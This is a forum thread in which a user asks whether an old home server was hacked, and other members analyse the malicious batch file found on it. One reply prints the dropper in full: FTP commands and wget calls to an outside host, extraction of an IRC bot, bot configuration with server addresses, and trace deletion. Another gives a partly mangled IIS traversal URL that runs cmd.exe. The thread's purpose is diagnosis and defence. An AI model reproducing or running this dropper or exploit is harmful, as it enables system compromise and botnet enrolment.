Have i been hacked?

maverick

Well-Known Member
Joined
Nov 12, 2003
Messages
281
Reaction score
0
Location
South Africa.
I have an old pc on my network that i use as a server and i found this window open.

hacked.jpg
 
I myself wouldn't really know, but I tell you something, if I found my pc with that Window open, I would be scared s**tless :eek:
 
Ok - Myself I would be worried. Worried for 2 reasons:
1) Either someone had access to your PC and ran this script manually
2) You have a trojan that allows people remote access to your system.

I had a look at the bat file and it infact has the potential to do some nast stuff:

Some basic bat stuff
@Echo OFF
cd C:\WINDOWS\HELP\
echo [!] Creating a ShellFTP datafile...

create a file called _sys.ini with some FTP commands (Some crap). This wills the system to download a file called wget.exe,.
echo open ftp.fantasmanero.altervista.org>_sys.ini
echo fantasmanero>>_sys.ini
echo billgates>>_sys.ini
echo binary>>_sys.ini
echo get wget.exe>>_sys.ini
echo bye>>_sys.ini

More crap
Echo [!] ShellFTP file Created!
echo [!] Receiving from your FTP...

Run the FTP command file created above and download wget.exe
@ftp -s:_sys.ini>output

Run WGET.exe and download syspatch.zip and pkunzip.exe.
@wget.exe -q http://fantasmanero.altervista.org/syspatch.zip>output
@wget.exe -q http://fantasmanero.altervista.org/pkunzip.exe>output

More Crap
echo AhAhaH EMPTY>output
echo [=] Received, hohooo! Let's start our job!
echo [*] Moving fileZ!

Move the files to the help folder
@move pkunzip.exe C:\WINDOWS\Help\pkunzip.exe
@move syspatch.zip C:\WINDOWS\Help\syspatch.zip

Yes, more crap
echo [*] Creating some cunfusing files!


Make a dirrectory, backup your help files and extract the newly downloaded files
@mkdir C:\WINDOWS\HELP\CatRoot
copy C:\WINDOWS\Help\*.chm C:\WINDOWS\HELP\CatRoot\
C:\WINDOWS\HELP\pkunzip.exe -d C:\WINDOWS\Help\syspatch.zip

CRAP!
echo [*] Extracting b0tZ...
echo [?] I'll open notepad for you to edit config...Press an key!

Not sure about this one, it looks like it requires user interaction.
pause
notepad C:\WINDOWS\Help\CatRoot\conf.txt

Run something from the newly extracted files.
echo [*] Crypting conf & adding startfile
C:\Windows\Help\CatRoot\spoolsrv.exe -c conf.txt

Delete all traces
echo [!] Crypted! Removing Traces...
del C:\WINDOWS\Help\CatRoot\conf.txt.dec
del C:\WINDOWS\Help\CatRoot\pkunzip.exe
del C:\WINDOWS\Help\syspatch.zip
del C:\WINDOWS\Help\pkunzip.exe
del _sys.ini
del output
del wget.exe
echo [=] !muahaha system pwned! byebye
echo [Process Starded!]

Start a service??
C:\Windows\Help\CatRoot\start.bat
del C:\first.bat
exit

Here is what the programs default config file looks like
nick
ident
nickappend _-^`|
realname If you can see me, you're ****ed!
myipv4 0.0.0.0
vhost 0.0.0.0

hub 72.20.33.158 10060 l1nuxr0x irc0p

server 62.94.0.22 6669
server 194.247.160.28 6668

keepnick 1
ctcptype 2
kickreason maybe you're not THAT welcome
partreason searching a reason to my life
cyclereason /cycle works!
quitreason planning revenge against SysAdmin!

Please, run a virus scan ASAP - there are many free ones available on the web!
 
Of course he's been hacked.That batch file is creating a FTP Server on his PC.Maybe the FTP server is giving access to his entire PC ( c:\ , d:\ etc)
 
Of course he's been hacked.That batch file is creating a FTP Server on his PC.Maybe the FTP server is giving access to his entire PC ( c:\ , d:\ etc)

I dont think its creating an FTP server - I think its creating an IRC server???? None of the files are registering as viruses on my PC here at work.
 
I guess the only way to test would to be run netstat -a.Identify any rogue/suspect local ports.Try then FTP into those ports and see if it is FTP or not
 
The file start.exe is a hidden application launcher - but the question remains. How did someone execute the batch job in the first place.
 
I took the file to a secure DMZ here at the bank and ran it - the program is:

http://friends.polibuda.info/~grusin/ - The Psotnic Project.
Psotnic is an ircnet bot written in C++. The main goal of "The psotnic project" was to create fast, stable and easy to use bot.
 
I have an old pc on my network that i use as a server and i found this window open.
well, there you have it..
old pc
server

my guess is a CSS vulnerability in IIS (specifically, the UNICODE issues from a few years ago). your web server was hacked.

something like http://yoursite/scripts/../../winnt/system32/cmd.exe/c+dir+c:\200
should give you a directory listing.
if it does, then you found the vulnerability...and to be fair..it is very very old (circa 2002/2003...)but it is the only one I know where you can directly open cmd.exe and force it to do stuff.

go get that machine patched. via windowsupdate

p.s. url above mangled slightly so it doesnt work properly....dont wanna give people any ideas.
 
I agree with ZA_medic, run a virus scan. The "syspatch.zip" downloaded by the script contains THIS.

If nobody has accessed that machine physically, it's been remotely compromised (win2k, some critical patches/updates from m$ were not installed)

If that pc is on a network i'd take a close look at those machines too.

PS. Maybe you should consider turning an old box into a firewall like IPcop??
 
Top
Sign up to the MyBroadband newsletter
X